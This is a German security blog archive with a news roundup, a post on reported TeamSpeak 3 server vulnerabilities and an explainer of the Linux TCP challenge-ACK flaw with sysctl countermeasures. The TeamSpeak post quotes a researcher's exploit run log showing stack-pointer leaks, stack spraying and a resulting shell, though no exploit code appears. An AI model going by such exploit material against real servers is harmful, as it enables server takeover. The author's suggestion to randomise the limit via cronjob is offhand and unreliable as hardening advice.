Author Archives: marius

Diese Woche im Netz

Posted on by

Auf der Diesjährigen DEF CON wurde die Sicherheits von Bluetooth Smart Locks untersucht. Ergebnis: 75% aller Schlösser sind trivial zuknacken.

Quelle: slashdot.org

Google und die New Yorker Universität behaupten in einer gemeinsamen Studie,  daß unerwünschte Software, die als Bundle z.b. bei Java mit dabei ist, verglichen mit Schadsoftware das größere Problem darstellt.  Ohne konkrete Gefahren zu benennen, leiten die Autoren die Gefährlichkeit einfach aus der schieren Anzahl der durchgeführten Installationen ab.

Quelle: google.com

IoT: US Thermostate gehackt und mit Ransomware infiziert. Allerdings noch nicht über das Netz, sondern per direktem Fileupload durch den User.

Quelle: thehackernews.com

Bitcoins: Wie im echten Leben, müssen die Kleinenanleger für die Fehler der Banker gradestehen.

Quelle: heise.de

Warkitteh – Katzen bringen nur Mäuse und Flöhe mit nach Hause ? Nein, auch das unverschlüsselte WLAN vom Nachbarn ist dabei !

Quelle: thehackernews.com

Nächste Schock für VW Besitzer: Funkschlüsselsystem geknackt! Ich kann es nur immer wieder sagen: Autofirmen verstehen nichts von Computersicherheit!

Quelle: focus.de

Comeback der Glühbirne ? Forscher verdreifen Lichtausbeute klassischer Glühlampen.

Quelle: ingenieur.de

kritische Sicherheitslücken in aktuellen Teamspeak 3 Servern

Posted on by

Wie Hanz Jenson auf der Mailingliste Fulldisclosure berichtet/behauptet, hat er 10 kritische Sicherheitslücken gefunden. Eine davon kann genutzt werden um den Server komplett zu übernehmen.

Der Autor will/hat bereits einen funktionierenden Exploit geschrieben/haben:

Here's the output of an exploit which uses two of the vulnerabilities:

	$ python exploit_teamspeak.py
	leaking distinct stack pointers
	 '\xa2'  '\x9a'  '\x8a' . '_' .. '\xa0'
	got a ptr: 0x7fa29a8a5fa0
	 '\xa2'  '\x9a'  '\x9a'  'o' ... '\xa0'
	got a ptr: 0x7fa29a9a6fa0
	 '\xa2'  '\x9a'  '\xaa' . '\x7f'  '\xa0'
	got a ptr: 0x7fa29aaa7fa0
	stack ptr: 0x7fa29a8a5fa0
	assumed stack base: 0x7fa29a5a5000
	sleeping a bit to avoid flood detection.......
	initializing stack sprayers............
	spraying the stacks............
	doing some magic.....

	Got a shell from ('127.0.0.1', 38416)
	ts3@ts3:/home/ts3/teamspeak3-server$

Sollte TeamSpeak die Schwachstellen bestätigen, kann man TS3 Serverbesitzern nur raten den Dienst bis auf weiteres abzuschalten.

Auf Pastebin gibt es das Advisory zu nachlesen.

Designfehler in TCP RFC

Moin,

wer gestern und heute die News gelesen hat, der wird über den Beitrag zum TCP Fehler in Linuxkernel gestolpert sein.

Was ist passiert ?

Einigen findigen Forschern/Hackern ist es gelungen, einen Designfehler in einem per RFC vorgegebenen Standard zu finden. Damit ist es möglich eine TCP Verbinden zu beeinflussen z.b. Sie von extern zu beenden oder Daten einzuschleusen. Wählt der Angreifer das Paket günstig aus, kann er z.b. Schadcode in eine Webseite einschleusen auf dem Web von Server zum Betrachter. Er kann auch herausbekommen, ob Server A mit einer xbeliebigen anderen IP Adresse grade eine Kommunikation hat.  Was aber nicht geht ist, herauszubekommen, mit wem ein an der Verbindung beteiligter spricht, wenn man nicht genau auch der IP sucht. Mit anderen Worten, man müßte sehr viele Kombinationen durchprobieren, und zwar genau während eine Verbindung besteht.

Möglich wird das über einen festen globalen Zähler, der es durch geschicktes Ausnutzen von Datenpaketen und deren Antworten erlaubt, vorherzusehen, wie die nächste gültige Sequenznummer in einem TCP Paket aussehen wird, so daß man als Angreifer genau diese Sequenznummer benutzen kann.

Die Bewertung

Gerade bei Webseiten werden die TCP Verbindungen aber i.d.R. sehr schnell wieder geschlossen, so daß der Angreifer schon verdammt viel Glück haben muß. Interessanter sind Angriffe schon auf Downloadportale, wo die Verbindungen auch mal eine Stunde vorhanden sind, weil GBweise Daten transportiert werden. Allerdings dabei einen funktionierenden INJECT hinzubekommen, in eine unbekanntfortgeschrittene Datenübertragung, wäre praktisch unmöglich.

Der Angriffsvektor ist zwar heftig, aber muß schon genau wissen wen man angreifen will. Zufällige Besuche von IP A auf Server B beim Surfen sind also extrem unwahrscheinlich als Ziel.

Zudem kommt ein Laufzeitproblem im Netz dazu, so daß man selbst als Angreifer in der Nähe des Ziels  sein müßte, da mit jedem HOP im Netz, die Laufzeitschwankung größer wird und man ungenauere Werte ermittelt. Je ungenauer der Wert den man als Angreifer für die nächsten Sequenznummer ermittelt, desto niedriger die Erfolgsrate.

Gegenmaßnahnen

Serveranbieter, die Linux einsetzen, können jetzt einfach den globalen counter individuell hochsetzen, so daß ScriptKids, die Tools zum Injecten einsetzen werden, eine schlechte Ausgangsbasis haben. Und das geht so :

Fedora/RedHat/CentOS:

  1. echo “net.ipv4.tcp_challenge_ack_limit = 999999999”  > /etc/sysctl.d/1-tcp-challenge-ack.conf
  2.  “sysctl -p” zum Updaten der Konfiguration eingeben.

Ubuntu/Debian/Mint:

  1. Open /etc/sysctl.conf, append a command “net.ipv4.tcp_challenge_ack_limit = 999999999”.
  2. Use “sysctl -p” to update the configuration.

Ich für meinen Teil würde empfehlen, den Wert nicht auf 99999999 zusetzen, sondern den Wert per $Random zu setzen. Das verwirrt die Angreifer noch viel mehr. Und per Cronjob einmal die Minute den Randomwert ändern 😀 Dann hat man schon genau das, was den Kernelpatch später auch ausmachen wird 😀